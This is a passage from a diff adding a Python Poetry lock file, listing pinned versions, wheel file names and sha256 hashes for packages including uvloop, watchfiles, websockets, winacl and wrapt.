true, markers = "extra == \"standard\""} + +[package.extras] +standard = ["colorama (>=0.4)", "httptools (>=0.4.0)", "python-dotenv (>=0.13)", "pyyaml (>=5.1)", "uvloop (>=0.14.0,!=0.15.0,!=0.15.1)", "watchfiles (>=0.13)", "websockets (>=10.0)"] + +[[package]] +name = "uvloop" +version = "0.17.0" +description = "Fast implementation of asyncio event loop on top of libuv" +optional = false +python-versions = ">=3.7" +files = [ + {file = "uvloop-0.17.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ce9f61938d7155f79d3cb2ffa663147d4a76d16e08f65e2c66b77bd41b356718"}, + {file = "uvloop-0.17.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:68532f4349fd3900b839f588972b3392ee56042e440dd5873dfbbcd2cc67617c"}, + {file = "uvloop-0.17.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0949caf774b9fcefc7c5756bacbbbd3fc4c05a6b7eebc7c7ad6f825b23998d6d"}, + {file = "uvloop-0.17.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ff3d00b70ce95adce264462c930fbaecb29718ba6563db354608f37e49e09024"}, + {file = "uvloop-0.17.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:a5abddb3558d3f0a78949c750644a67be31e47936042d4f6c888dd6f3c95f4aa"}, + {file = "uvloop-0.17.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:8efcadc5a0003d3a6e887ccc1fb44dec25594f117a94e3127954c05cf144d811"}, + {file = "uvloop-0.17.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3378eb62c63bf336ae2070599e49089005771cc651c8769aaad72d1bd9385a7c"}, + {file = "uvloop-0.17.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6aafa5a78b9e62493539456f8b646f85abc7093dd997f4976bb105537cf2635e"}, + {file = "uvloop-0.17.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c686a47d57ca910a2572fddfe9912819880b8765e2f01dc0dd12a9bf8573e539"}, + {file = "uvloop-0.17.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:864e1197139d651a76c81757db5eb199db8866e13acb0dfe96e6fc5d1cf45fc4"}, + {file = "uvloop-0.17.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:2a6149e1defac0faf505406259561bc14b034cdf1d4711a3ddcdfbaa8d825a05"}, + {file = "uvloop-0.17.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6708f30db9117f115eadc4f125c2a10c1a50d711461699a0cbfaa45b9a78e376"}, + {file = "uvloop-0.17.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:23609ca361a7fc587031429fa25ad2ed7242941adec948f9d10c045bfecab06b"}, + {file = "uvloop-0.17.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2deae0b0fb00a6af41fe60a675cec079615b01d68beb4cc7b722424406b126a8"}, + {file = "uvloop-0.17.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:45cea33b208971e87a31c17622e4b440cac231766ec11e5d22c76fab3bf9df62"}, + {file = "uvloop-0.17.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:9b09e0f0ac29eee0451d71798878eae5a4e6a91aa275e114037b27f7db72702d"}, + {file = "uvloop-0.17.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:dbbaf9da2ee98ee2531e0c780455f2841e4675ff580ecf93fe5c48fe733b5667"}, + {file = "uvloop-0.17.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:a4aee22ece20958888eedbad20e4dbb03c37533e010fb824161b4f05e641f738"}, + {file = "uvloop-0.17.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:307958f9fc5c8bb01fad752d1345168c0abc5d62c1b72a4a8c6c06f042b45b20"}, + {file = "uvloop-0.17.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3ebeeec6a6641d0adb2ea71dcfb76017602ee2bfd8213e3fcc18d8f699c5104f"}, + {file = "uvloop-0.17.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1436c8673c1563422213ac6907789ecb2b070f5939b9cbff9ef7113f2b531595"}, + {file = "uvloop-0.17.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:8887d675a64cfc59f4ecd34382e5b4f0ef4ae1da37ed665adba0c2badf0d6578"}, + {file = "uvloop-0.17.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:3db8de10ed684995a7f34a001f15b374c230f7655ae840964d51496e2f8a8474"}, + {file = "uvloop-0.17.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:7d37dccc7ae63e61f7b96ee2e19c40f153ba6ce730d8ba4d3b4e9738c1dccc1b"}, + {file = "uvloop-0.17.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:cbbe908fda687e39afd6ea2a2f14c2c3e43f2ca88e3a11964b297822358d0e6c"}, + {file = "uvloop-0.17.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d97672dc709fa4447ab83276f344a165075fd9f366a97b712bdd3fee05efae8"}, + {file = "uvloop-0.17.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f1e507c9ee39c61bfddd79714e4f85900656db1aec4d40c6de55648e85c2799c"}, + {file = "uvloop-0.17.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:c092a2c1e736086d59ac8e41f9c98f26bbf9b9222a76f21af9dfe949b99b2eb9"}, + {file = "uvloop-0.17.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:30babd84706115626ea78ea5dbc7dd8d0d01a2e9f9b306d24ca4ed5796c66ded"}, + {file = "uvloop-0.17.0.tar.gz", hash = "sha256:0ddf6baf9cf11a1a22c71487f39f15b2cf78eb5bde7e5b45fbb99e8a9d91b9e1"}, +] + +[package.extras] +dev = ["Cython (>=0.29.32,<0.30.0)", "Sphinx (>=4.1.2,<4.2.0)", "aiohttp", "flake8 (>=3.9.2,<3.10.0)", "mypy (>=0.800)", "psutil", "pyOpenSSL (>=22.0.0,<22.1.0)", "pycodestyle (>=2.7.0,<2.8.0)", "pytest (>=3.6.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)"] +docs = ["Sphinx (>=4.1.2,<4.2.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)"] +test = ["Cython (>=0.29.32,<0.30.0)", "aiohttp", "flake8 (>=3.9.2,<3.10.0)", "mypy (>=0.800)", "psutil", "pyOpenSSL (>=22.0.0,<22.1.0)", "pycodestyle (>=2.7.0,<2.8.0)"] + +[[package]] +name = "watchfiles" +version = "0.19.0" +description = "Simple, modern and high performance file watching and code reload in python." +optional = false +python-versions = ">=3.7" +files = [ + {file = "watchfiles-0.19.0-cp37-abi3-macosx_10_7_x86_64.whl", hash = "sha256:91633e64712df3051ca454ca7d1b976baf842d7a3640b87622b323c55f3345e7"}, + {file = "watchfiles-0.19.0-cp37-abi3-macosx_11_0_arm64.whl", hash = "sha256:b6577b8c6c8701ba8642ea9335a129836347894b666dd1ec2226830e263909d3"}, + {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:18b28f6ad871b82df9542ff958d0c86bb0d8310bb09eb8e87d97318a3b5273af"}, + {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fac19dc9cbc34052394dbe81e149411a62e71999c0a19e1e09ce537867f95ae0"}, + {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:09ea3397aecbc81c19ed7f025e051a7387feefdb789cf768ff994c1228182fda"}, + {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c0376deac92377817e4fb8f347bf559b7d44ff556d9bc6f6208dd3f79f104aaf"}, + {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9c75eff897786ee262c9f17a48886f4e98e6cfd335e011c591c305e5d083c056"}, + {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cb5d45c4143c1dd60f98a16187fd123eda7248f84ef22244818c18d531a249d1"}, + {file = "watchfiles-0.19.0-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:79c533ff593db861ae23436541f481ec896ee3da4e5db8962429b441bbaae16e"}, + {file = "watchfiles-0.19.0-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:3d7d267d27aceeeaa3de0dd161a0d64f0a282264d592e335fff7958cc0cbae7c"}, + {file = "watchfiles-0.19.0-cp37-abi3-win32.whl", hash = "sha256:176a9a7641ec2c97b24455135d58012a5be5c6217fc4d5fef0b2b9f75dbf5154"}, + {file = "watchfiles-0.19.0-cp37-abi3-win_amd64.whl", hash = "sha256:945be0baa3e2440151eb3718fd8846751e8b51d8de7b884c90b17d271d34cae8"}, + {file = "watchfiles-0.19.0-cp37-abi3-win_arm64.whl", hash = "sha256:0089c6dc24d436b373c3c57657bf4f9a453b13767150d17284fc6162b2791911"}, + {file = "watchfiles-0.19.0-pp38-pypy38_pp73-macosx_10_7_x86_64.whl", hash = "sha256:cae3dde0b4b2078f31527acff6f486e23abed307ba4d3932466ba7cdd5ecec79"}, + {file = "watchfiles-0.19.0-pp38-pypy38_pp73-macosx_11_0_arm64.whl", hash = "sha256:7f3920b1285a7d3ce898e303d84791b7bf40d57b7695ad549dc04e6a44c9f120"}, + {file = "watchfiles-0.19.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9afd0d69429172c796164fd7fe8e821ade9be983f51c659a38da3faaaaac44dc"}, + {file = "watchfiles-0.19.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:68dce92b29575dda0f8d30c11742a8e2b9b8ec768ae414b54f7453f27bdf9545"}, + {file = "watchfiles-0.19.0-pp39-pypy39_pp73-macosx_10_7_x86_64.whl", hash = "sha256:5569fc7f967429d4bc87e355cdfdcee6aabe4b620801e2cf5805ea245c06097c"}, + {file = "watchfiles-0.19.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:5471582658ea56fca122c0f0d0116a36807c63fefd6fdc92c71ca9a4491b6b48"}, + {file = "watchfiles-0.19.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b538014a87f94d92f98f34d3e6d2635478e6be6423a9ea53e4dd96210065e193"}, + {file = "watchfiles-0.19.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:20b44221764955b1e703f012c74015306fb7e79a00c15370785f309b1ed9aa8d"}, + {file = "watchfiles-0.19.0.tar.gz", hash = "sha256:d9b073073e048081e502b6c6b0b88714c026a1a4c890569238d04aca5f9ca74b"}, +] + +[package.dependencies] +anyio = ">=3.0.0" + +[[package]] +name = "wcwidth" +version = "0.2.6" +description = "Measures the displayed width of unicode strings in a terminal" +optional = false +python-versions = "*" +files = [ + {file = "wcwidth-0.2.6-py2.py3-none-any.whl", hash = "sha256:795b138f6875577cd91bba52baf9e445cd5118fd32723b460e30a0af30ea230e"}, + {file = "wcwidth-0.2.6.tar.gz", hash = "sha256:a5220780a404dbe3353789870978e472cfe477761f06ee55077256e509b156d0"}, +] + +[[package]] +name = "websockets" +version = "11.0.3" +description = "An implementation of the WebSocket Protocol (RFC 6455 & 7692)" +optional = false +python-versions = ">=3.7" +files = [ + {file = "websockets-11.0.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:3ccc8a0c387629aec40f2fc9fdcb4b9d5431954f934da3eaf16cdc94f67dbfac"}, + {file = "websockets-11.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d67ac60a307f760c6e65dad586f556dde58e683fab03323221a4e530ead6f74d"}, + {file = "websockets-11.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:84d27a4832cc1a0ee07cdcf2b0629a8a72db73f4cf6de6f0904f6661227f256f"}, + {file = "websockets-11.0.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ffd7dcaf744f25f82190856bc26ed81721508fc5cbf2a330751e135ff1283564"}, + {file = "websockets-11.0.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7622a89d696fc87af8e8d280d9b421db5133ef5b29d3f7a1ce9f1a7bf7fcfa11"}, + {file = "websockets-11.0.3-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bceab846bac555aff6427d060f2fcfff71042dba6f5fca7dc4f75cac815e57ca"}, + {file = "websockets-11.0.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:54c6e5b3d3a8936a4ab6870d46bdd6ec500ad62bde9e44462c32d18f1e9a8e54"}, + {file = "websockets-11.0.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:41f696ba95cd92dc047e46b41b26dd24518384749ed0d99bea0a941ca87404c4"}, + {file = "websockets-11.0.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:86d2a77fd490ae3ff6fae1c6ceaecad063d3cc2320b44377efdde79880e11526"}, + {file = "websockets-11.0.3-cp310-cp310-win32.whl", hash = "sha256:2d903ad4419f5b472de90cd2d40384573b25da71e33519a67797de17ef849b69"}, + {file = "websockets-11.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:1d2256283fa4b7f4c7d7d3e84dc2ece74d341bce57d5b9bf385df109c2a1a82f"}, + {file = "websockets-11.0.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:e848f46a58b9fcf3d06061d17be388caf70ea5b8cc3466251963c8345e13f7eb"}, + {file = "websockets-11.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:aa5003845cdd21ac0dc6c9bf661c5beddd01116f6eb9eb3c8e272353d45b3288"}, + {file = "websockets-11.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:b58cbf0697721120866820b89f93659abc31c1e876bf20d0b3d03cef14faf84d"}, + {file = "websockets-11.0.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:660e2d9068d2bedc0912af508f30bbeb505bbbf9774d98def45f68278cea20d3"}, + {file = "websockets-11.0.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c1f0524f203e3bd35149f12157438f406eff2e4fb30f71221c8a5eceb3617b6b"}, + {file = "websockets-11.0.3-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:def07915168ac8f7853812cc593c71185a16216e9e4fa886358a17ed0fd9fcf6"}, + {file = "websockets-11.0.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:b30c6590146e53149f04e85a6e4fcae068df4289e31e4aee1fdf56a0dead8f97"}, + {file = "websockets-11.0.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:619d9f06372b3a42bc29d0cd0354c9bb9fb39c2cbc1a9c5025b4538738dbffaf"}, + {file = "websockets-11.0.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:01f5567d9cf6f502d655151645d4e8b72b453413d3819d2b6f1185abc23e82dd"}, + {file = "websockets-11.0.3-cp311-cp311-win32.whl", hash = "sha256:e1459677e5d12be8bbc7584c35b992eea142911a6236a3278b9b5ce3326f282c"}, + {file = "websockets-11.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:e7837cb169eca3b3ae94cc5787c4fed99eef74c0ab9506756eea335e0d6f3ed8"}, + {file = "websockets-11.0.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:9f59a3c656fef341a99e3d63189852be7084c0e54b75734cde571182c087b152"}, + {file = "websockets-11.0.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2529338a6ff0eb0b50c7be33dc3d0e456381157a31eefc561771ee431134a97f"}, + {file = "websockets-11.0.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:34fd59a4ac42dff6d4681d8843217137f6bc85ed29722f2f7222bd619d15e95b"}, + {file = "websockets-11.0.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:332d126167ddddec94597c2365537baf9ff62dfcc9db4266f263d455f2f031cb"}, + {file = "websockets-11.0.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:6505c1b31274723ccaf5f515c1824a4ad2f0d191cec942666b3d0f3aa4cb4007"}, + {file = "websockets-11.0.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:f467ba0050b7de85016b43f5a22b46383ef004c4f672148a8abf32bc999a87f0"}, + {file = "websockets-11.0.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:9d9acd80072abcc98bd2c86c3c9cd4ac2347b5a5a0cae7ed5c0ee5675f86d9af"}, + {file = "websockets-11.0.3-cp37-cp37m-win32.whl", hash = "sha256:e590228200fcfc7e9109509e4d9125eace2042fd52b595dd22bbc34bb282307f"}, + {file = "websockets-11.0.3-cp37-cp37m-win_amd64.whl", hash = "sha256:b16fff62b45eccb9c7abb18e60e7e446998093cdcb50fed33134b9b6878836de"}, + {file = "websockets-11.0.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:fb06eea71a00a7af0ae6aefbb932fb8a7df3cb390cc217d51a9ad7343de1b8d0"}, + {file = "websockets-11.0.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:8a34e13a62a59c871064dfd8ffb150867e54291e46d4a7cf11d02c94a5275bae"}, + {file = "websockets-11.0.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:4841ed00f1026dfbced6fca7d963c4e7043aa832648671b5138008dc5a8f6d99"}, + {file = "websockets-11.0.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a073fc9ab1c8aff37c99f11f1641e16da517770e31a37265d2755282a5d28aa"}, + {file = "websockets-11.0.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:68b977f21ce443d6d378dbd5ca38621755f2063d6fdb3335bda981d552cfff86"}, + {file = "websockets-11.0.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e1a99a7a71631f0efe727c10edfba09ea6bee4166a6f9c19aafb6c0b5917d09c"}, + {file = "websockets-11.0.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:bee9fcb41db2a23bed96c6b6ead6489702c12334ea20a297aa095ce6d31370d0"}, + {file = "websockets-11.0.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:4b253869ea05a5a073ebfdcb5cb3b0266a57c3764cf6fe114e4cd90f4bfa5f5e"}, + {file = "websockets-11.0.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:1553cb82942b2a74dd9b15a018dce645d4e68674de2ca31ff13ebc2d9f283788"}, + {file = "websockets-11.0.3-cp38-cp38-win32.whl", hash = "sha256:f61bdb1df43dc9c131791fbc2355535f9024b9a04398d3bd0684fc16ab07df74"}, + {file = "websockets-11.0.3-cp38-cp38-win_amd64.whl", hash = "sha256:03aae4edc0b1c68498f41a6772d80ac7c1e33c06c6ffa2ac1c27a07653e79d6f"}, + {file = "websockets-11.0.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:777354ee16f02f643a4c7f2b3eff8027a33c9861edc691a2003531f5da4f6bc8"}, + {file = "websockets-11.0.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:8c82f11964f010053e13daafdc7154ce7385ecc538989a354ccc7067fd7028fd"}, + {file = "websockets-11.0.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:3580dd9c1ad0701169e4d6fc41e878ffe05e6bdcaf3c412f9d559389d0c9e016"}, + {file = "websockets-11.0.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6f1a3f10f836fab6ca6efa97bb952300b20ae56b409414ca85bff2ad241d2a61"}, + {file = "websockets-11.0.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:df41b9bc27c2c25b486bae7cf42fccdc52ff181c8c387bfd026624a491c2671b"}, + {file = "websockets-11.0.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:279e5de4671e79a9ac877427f4ac4ce93751b8823f276b681d04b2156713b9dd"}, + {file = "websockets-11.0.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:1fdf26fa8a6a592f8f9235285b8affa72748dc12e964a5518c6c5e8f916716f7"}, + {file = "websockets-11.0.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:69269f3a0b472e91125b503d3c0b3566bda26da0a3261c49f0027eb6075086d1"}, + {file = "websockets-11.0.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:97b52894d948d2f6ea480171a27122d77af14ced35f62e5c892ca2fae9344311"}, + {file = "websockets-11.0.3-cp39-cp39-win32.whl", hash = "sha256:c7f3cb904cce8e1be667c7e6fef4516b98d1a6a0635a58a57528d577ac18a128"}, + {file = "websockets-11.0.3-cp39-cp39-win_amd64.whl", hash = "sha256:c792ea4eabc0159535608fc5658a74d1a81020eb35195dd63214dcf07556f67e"}, + {file = "websockets-11.0.3-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:f2e58f2c36cc52d41f2659e4c0cbf7353e28c8c9e63e30d8c6d3494dc9fdedcf"}, + {file = "websockets-11.0.3-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:de36fe9c02995c7e6ae6efe2e205816f5f00c22fd1fbf343d4d18c3d5ceac2f5"}, + {file = "websockets-11.0.3-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0ac56b661e60edd453585f4bd68eb6a29ae25b5184fd5ba51e97652580458998"}, + {file = "websockets-11.0.3-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e052b8467dd07d4943936009f46ae5ce7b908ddcac3fda581656b1b19c083d9b"}, + {file = "websockets-11.0.3-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:42cc5452a54a8e46a032521d7365da775823e21bfba2895fb7b77633cce031bb"}, + {file = "websockets-11.0.3-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:e6316827e3e79b7b8e7d8e3b08f4e331af91a48e794d5d8b099928b6f0b85f20"}, + {file = "websockets-11.0.3-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8531fdcad636d82c517b26a448dcfe62f720e1922b33c81ce695d0edb91eb931"}, + {file = "websockets-11.0.3-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c114e8da9b475739dde229fd3bc6b05a6537a88a578358bc8eb29b4030fac9c9"}, + {file = "websockets-11.0.3-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e063b1865974611313a3849d43f2c3f5368093691349cf3c7c8f8f75ad7cb280"}, + {file = "websockets-11.0.3-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:92b2065d642bf8c0a82d59e59053dd2fdde64d4ed44efe4870fa816c1232647b"}, + {file = "websockets-11.0.3-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:0ee68fe502f9031f19d495dae2c268830df2760c0524cbac5d759921ba8c8e82"}, + {file = "websockets-11.0.3-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dcacf2c7a6c3a84e720d1bb2b543c675bf6c40e460300b628bab1b1efc7c034c"}, + {file = "websockets-11.0.3-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b67c6f5e5a401fc56394f191f00f9b3811fe843ee93f4a70df3c389d1adf857d"}, + {file = "websockets-11.0.3-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1d5023a4b6a5b183dc838808087033ec5df77580485fc533e7dab2567851b0a4"}, + {file = "websockets-11.0.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:ed058398f55163a79bb9f06a90ef9ccc063b204bb346c4de78efc5d15abfe602"}, + {file = "websockets-11.0.3-py3-none-any.whl", hash = "sha256:6681ba9e7f8f3b19440921e99efbb40fc89f26cd71bf539e45d8c8a25c976dc6"}, + {file = "websockets-11.0.3.tar.gz", hash = "sha256:88fc51d9a26b10fc331be344f1781224a375b78488fc343620184e95a4b27016"}, +] + +[[package]] +name = "winacl" +version = "0.1.7" +description = "ACL/ACE/Security Descriptor manipulation library in pure Python" +optional = false +python-versions = ">=3.6" +files = [ + {file = "winacl-0.1.7-py3-none-any.whl", hash = "sha256:5d00ed1d2378823050b4eb87ff3e69d49cb3ecb8bf1e012b69afe15e3bdb2703"}, + {file = "winacl-0.1.7.tar.gz", hash = "sha256:ca662c091471a6c629d76c5eec63d8a1bf1af7c054348f09c1242f338850b2bd"}, +] + +[package.dependencies] +cryptography = ">=38.0.1" + +[[package]] +name = "wrapt" +version = "1.15.0" +description = "Module for decorators, wrappers and monkey patching." +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7" +files = [ + {file = "wrapt-1.15.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:ca1cccf838cd28d5a0883b342474c630ac48cac5df0ee6eacc9c7290f76b11c1"}, + {file = "wrapt-1.15.0-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:e826aadda3cae59295b95343db8f3d965fb31059da7de01ee8d1c40a60398b29"}, + {file = "wrapt-1.15.0-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:5fc8e02f5984a55d2c653f5fea93531e9836abbd84342c1d1e17abc4a15084c2"}, + {file = "wrapt-1.15.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:96e25c8603a155559231c19c0349245eeb4ac0096fe3c1d0be5c47e075bd4f46"}, + {file = "wrapt-1.15.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:40737a081d7497efea35ab9304b829b857f21558acfc7b3272f908d33b0d9d4c"}, + {file = "wrapt-1.15.0-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:f87ec75864c37c4c6cb908d282e1969e79763e0d9becdfe9fe5473b7bb1e5f09"}, + {file = "wrapt-1.15.0-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:1286eb30261894e4c70d124d44b7fd07825340869945c79d05bda53a40caa079"}, + {file = "wrapt-1.15.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:493d389a2b63c88ad56cdc35d0fa5752daac56ca755805b1b0c530f785767d5e"}, + {file = "wrapt-1.15.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:58d7a75d731e8c63614222bcb21dd992b4ab01a399f1f09dd82af17bbfc2368a"}, + {file = "wrapt-1.15.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:21f6d9a0d5b3a207cdf7acf8e58d7d13d463e639f0c7e01d82cdb671e6cb7923"}, + {file = "wrapt-1.15.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ce42618f67741d4697684e501ef02f29e758a123aa2d669e2d964ff734ee00ee"}, + {file = "wrapt-1.15.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41d07d029dd4157ae27beab04d22b8e261eddfc6ecd64ff7000b10dc8b3a5727"}, + {file = "wrapt-1.15.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:54accd4b8bc202966bafafd16e69da9d5640ff92389d33d28555c5fd4f25ccb7"}, + {file = "wrapt-1.15.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2fbfbca668dd15b744418265a9607baa970c347eefd0db6a518aaf0cfbd153c0"}, + {file = "wrapt-1.15.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = 